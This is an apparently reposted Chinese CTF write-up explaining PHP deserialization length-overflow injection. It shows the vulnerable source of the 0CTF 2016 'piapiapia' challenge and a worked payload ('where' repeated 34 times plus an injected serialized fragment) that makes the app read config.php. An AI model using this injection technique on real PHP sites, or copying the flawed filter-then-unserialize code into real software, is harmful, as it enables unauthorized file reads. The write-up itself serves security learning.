1. 程式人生 > >從一道ctf看php反序列化漏洞的應用場景

從一道ctf看php反序列化漏洞的應用場景

目錄

  • 0x00 first
  • 0x01 我打我自己之---序列化問題
  • 0x02 [0CTF 2016] piapiapia

0x00 first

前幾天joomla爆出個反序列化漏洞,原因是因為對序列化後的字元進行過濾,導致使用者可控字元溢位,從而控制序列化內容,配合物件注入導致RCE。剛好今天刷CTF題時遇到了一個類似的場景,感覺很有意思,故有本文。

0x01 我打我自己之---序列化問題

關於序列化是什麼就不再贅述了,這裡主要講幾個跟安全相關的幾個點。
看一個簡單的序列化

<?php
    $kk = "123";
    $kk_seri = serialize($kk); //s:3:"123"; 

    echo unserialize($kk_seri); //123

    $not_kk_seri = 's:4:"123""';

    echo unserialize($not_kk_seri); //123"

從上例可以看到,序列化後的字串以"作為分隔符,但是注入"並沒有導致後面的內容逃逸。這是因為反序列化時,反序列化引擎是根據長度來判斷的。

也正是因為這一點,如果程式在對序列化之後的字串進行過濾轉義導致字串內容變長/變短時,就會導致反序列化無法得到正常結果。看一個例子

<?php

    $username = $_GET['username'];
    $sign = "hi guys";
    $user = array($username, $sign);

    $seri = bad_str(serialize($user));

    echo $seri;

    // echo "<br>";

    $user=unserialize($seri);

    echo $user[0];
    echo "<br>";
    echo "<br>";
    echo $user[1];


    function bad_str($string){
        return preg_replace('/\'/', 'no', $string);
    }

先對一個數組進行序列化,然後把結果傳入bad_str()函式中進行安全過濾,將單引號轉換成no,最後反序列化得到的結果並輸出。看一下正常的輸出:

使用者ka1n4t的個性簽名很友好。如果在使用者名稱處加上單引號,則會被程式轉義成no,由於長度錯誤導致反序列化時出錯。

那麼通過這個錯誤能幹啥呢?我們可以改寫可控處之後的所有字元,從而控制這個使用者的個性簽名。我們需要先把我們想注入的資料寫好,然後再考慮長度溢位的問題。比如我們把他的個性簽名改成no hi,長度為5,在本程式中序列化的結果應該是i:1;s:5:"no hi";,再跟前面的username的雙引號以及後面的結束花括號閉合,變成";i:1;s:5:"no hi";}。見下圖

我們要讓'經過bad_str()函式轉義成no之後多出來的長度剛好對齊到我們上面構造的payload。由於上面的payload長度是19,因此我們只要在payload前輸入19個',經過bad_str()轉義後剛好多出了19個字元。

嘗試payload:ka1n4t'''''''''''''''''''";i:1;s:5:"no hi";}

成功注入序列化字元。前幾天的joomla rce原理也正是如此。下面通過一道CTF來看一下實戰場景。

0x02 [0CTF 2016] piapiapia

首頁一個登入框,別的嘛都沒有

www.zip原始碼洩露,可直接下載原始碼。

flag在config.php中

class.php是mysql資料庫類,以及user model

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

profile.php用於展示個人資訊

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

register.php用於註冊使用者

register.php

<?php
    require_once('class.php');
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        if(strlen($username) < 3 or strlen($username) > 16) 
            die('Invalid user name');

        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');
        if(!$user->is_exists($username)) {
            $user->register($username, $password);
            echo 'Register OK!<a href="index.php">Please Login</a>';        
        }
        else {
            die('User name Already Exists');
        }
    }
    else {
?>

update.php用於更新使用者資訊

update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

通過觀察上面的幾個程式碼我們能發現以下幾個線索
1.能讀取config.php或獲得引數$flag的值即可獲得flag。
2.update.php 28行將使用者更新資訊序列化,然後傳入$user->update_profile()存入資料庫。
3.檢視class.php中的update_profile()原始碼,發現底層先呼叫了filter()方法進行危險字元過濾,然後才存入資料庫。
4.profile.php 16行取出使用者的$profile['photo']作為檔名獲取檔案內容並展示。
5.update.php 26行可以看到$profile['photo']的值是'upload'.md5($file['name']),因此線索4中的檔名我們並不可控。
綜合以上5點,再加上本文一開始的例子,思路基本已經出來了,程式將序列化之後的字串進行過濾,導致使用者可控部分溢位,從而控制後半段的序列化字元,最終控制$profile['photo']的值為config.php,即可獲得flag。

這裡關鍵就是class.php中的filter()方法,我們要找到能讓原始字元‘膨脹’的轉義。

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

僅從長度變化來看,只有where->hacker這一個轉義是變長了的。回到update.php 28行,我們只要在nickname引數中輸入若干個where拼上payload,經過filter()過濾後剛好讓我們的payload溢位即可。

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

有一點需要注意的是update.php對nickname進行了過濾,不能有除_外的特殊字元,我們只要傳一個nickname[]陣列即可。

下面構造payload,先看看正常的序列化表示式是什麼

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

構造photo值為config.php,並與前後閉合序列化表示式,也就是取出上面kk1之後的所有字元

";}s:5:"photo";s:10:"config.php";}

長度為34,由於filter()是將where變為hacker,增加1位,我們需要增加34位,也就是34個where。payload變成這樣

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

我們把這個作為nickname[]的值傳入,然後序列化的結果應該是

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

經過filter()的轉義變成

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

數一下位數,剛好。

下面傳送payload作為nickname[]的值

更新成功,訪問profile.php檢視個人資訊

成功拿到fla